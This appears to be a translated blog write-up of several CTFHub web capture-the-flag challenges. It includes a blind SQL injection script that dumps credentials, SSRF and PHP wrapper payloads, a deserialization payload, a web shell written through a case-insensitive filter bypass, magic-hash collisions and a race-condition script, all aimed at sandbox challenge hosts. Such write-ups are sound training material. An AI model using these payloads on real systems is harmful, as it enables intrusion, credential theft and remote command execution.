CTFHUB real exercises over the years

Test site

Boolean blind injection, SSRF

Tried the general login method and did not respond. Check the source code and find that the utilization point of sql injection is in the picture

Blind injection script

import string

from requests import *
allstr = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'

myurl = 'http://challenge-1993bf8242925716.sandbox.ctfhub.com:10800/image.php'

info = ''
for i in range(1,50):
    for s in allstr:
        payload = '?id=if(ascii(mid((select/**/group_concat(username,password)/**/from/**/ctf.users),{},1))={},1,5)'.format(i,ord(s))
        resp = get(url=myurl+payload)
        if len(resp.text) > 4000:
             info += s
             print(info)


The user password is obtained by Boolean blind note: 7feaa258b32f2ddbc4f32a6aed6c5b37, and the user name is admin
Log in:

ssrf guesses that the flag is in the root directory: file:///flag


After reading the source code, I found that f l a g. p H /; "`|[] = these characters, and there are some blacklist functions. This reminds me of an article by P God, which has no numbers and letters to construct webshell( https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html )

The following is to construct some functions outside the blacklist through this method to read the content in flag.php.
It seems that the filtering is not very strict here. You can read the flag by directly constructing the highlight_file(flag.php)

?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)(~(%99%93%9E%98%D1%8F%97%8F))


This is called randomly verifying the value of the next number

import requests
import re

url = 'http://challenge-9d9782aa29d71d3a.sandbox.ctfhub.com:10800/index.php?num=22'
while True:
    try:
        r = requests.get(url)

        # Match platform flag format
        flag = re.search(r'ctfhub\{.+\}', r.text).group()
    except AttributeError:
        print('Not obtained flag! Retrying!')
    else:
        print(flag)
        break

Script parsing:
Submit the request in an infinite loop until there is a flag in ctfhub{} format on the page to jump out of the loop.

You can also refresh the page manually until the flag appears.

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

Url passes three parameters, text, file and PWD, to match respectively, so the payload will consist of three parts

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

Read the variable $text and store it as a string to match with "welcome to the zjctf" = = "requires that the values and types on both sides of the equal sign are equal
Encapsulate the protocol with data: / / data stream

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php

The comment prompt contains the useless.php file, which can be used to php://filter The protocol reads this useless. PHP

file=php://filter/read=convert.base64-encode/resource=useless.php


base64 decrypted:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

useless.php is a flag class in the title

 $password = unserialize($password);

So we just need to make the value of the passed $password deserialized equal to flag.php.

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}
$a=new Flag();
$a->file='flag.php';
echo(serialize($a))  
?>  
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 
/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

Scanning the directory and finding robots.txt

Then visit 1ndexx.php and find that it is 404. Try to scan the cache and find that. 1ndexx.php.swp exists

<?php

#Really easy...

$file=fopen("flag.php","r") or die("Unable 2 open!");

$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));


$hack=fopen("hack.php","w") or die("Unable 2 open");

$a=$_GET['code'];

if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
  die("you die");
}
if(strlen($a)>33){
  die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);

fclose($file);
fclose($hack);
?>

In the code, first read the flag and write hack.php, then GET the value of the code parameter from GET, and write it later after the pre_match check. The maximum writable length is 32 characters

Method 1:

http://challenge-305f4e259ec5b904.sandbox.ctfhub.com:10800/?code=<?php show_source(__FILE__);?>

Then visit hack.php

Method 2:
preg_match does not ignore case in the code, and php functions can ignore case, so you can use System() to bypass the regular check

http://challenge-305f4e259ec5b904.sandbox.ctfhub.com:10800/?code=<?php System($_GET[1]);?>

http://challenge-305f4e259ec5b904.sandbox.ctfhub.com:10800/hack.php?1=ls%20-alh%20%26%26%20cat%20flag.php

Method 3:
The incoming code will be written directly to hack.php, but there are some filters. It will be written directly to phpinfo()

/index.php?code=<?php phpinfo();?>

Visit hack.php again


Get index.php

<?php
require_once "flag.php";
if (!isset($_GET['user']) && !isset($_GET['pass'])) {
    header("Location: index.php?user=1&pass=2");
}

$user = $_GET['user'];
$pass = $_GET['pass'];
if ((md5($user) == md5($pass)) and ($user != $pass)){
    echo $flag;
} else {
    echo "nonono!";
}
?>

user and pass are different, but MD5 is equal, which verifies the idea of php weak typing
When PHP processes hash strings, it interprets each hash value starting with "0E" as 0. Therefore, if two different passwords are hashed and their hash values start with "0E", PHP will think they are the same, both of which are 0.

The following values are in md5 Encrypted with 0 E start:

QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a

GET. You can bypass it by passing in user = qnkcdzo & pass = 240610708


This question means that it's faster to log in after you change your password than the system automatically changes your password
This is the competition between two threads. Stick the big guy script.

import requests
import threading

s = requests.session()


class MyThread(threading.Thread):
    def __init__(self, item):
        threading.Thread.__init__(self)
        self.item = item

    def run(self):
        main(self.item)


def main(args):
    if args == 1:
        while True:
            ur11 = 'http://challenge-eefd4aa63ef6559a.sandbox.ctfhub.com:10800/change_passwd.php?passwd=123456&passwd_confirm=123456'
            c = s.get(ur11).content
    else:
        while True:
            url2 = 'http://challenge-eefd4aa63ef6559a.sandbox.ctfhub.com:10800/login_check.php?passwd=123456'
            # c11 = s.get(url2, data={' passwd': 111}).content
            c1 = s.get(url2)
            print(c1.text)


if __name__ == '__main__':
    t1 = MyThread(1)
    t2 = MyThread(2)
    t1.start()
    t2.start()


You can see a GET parameter, which may be SQL injection. sqlmap try it





Get the login box and make some input
Admin 123456 -- > password error
Admin admin -- > password error
Ddddd 123456 -- > user does not exist
Since the user name and password are separated, they are tested separately

Here are two query modes of login box
1. One is to directly query the account name and password entered by the user

$username=$_POST['username'];
$password=$_POST['password'];
$sql='select * from user where username='$username' and password='$password'';
#query

2. The second method is to query the user name first. If the user exists, verify whether the password is the same as the password in the database.

$username=$_POST['username']; $password=$_POST['password']; $sql='select password from user where username='$username''; 
#query 
if($row){ 
           if($row['password']==$password) { echo 'success';
           else{ echo 'fail';} 
} 
else{ 
echo 'user does not exist'; 
}

Because this question can distinguish between password error and non-existent user name, it belongs to the second logic.

After filtering the word input, Hack will be displayed!
After order by / limit / and, union and select are filtered, nothing can be added/
Then, it is found in the packet capture that '+' is added to the space, so the system judges that it is Hack. Try to use the annotation / * * / to avoid the space and enter it. Therefore, try to use your own user name and password to bypass the login

'/**/union/**/select/**/1'#
1

Keywords: PHP PostgreSQL SQL

Added by phpfanphp on Tue, 12 Oct 2021 09:13:42 +0300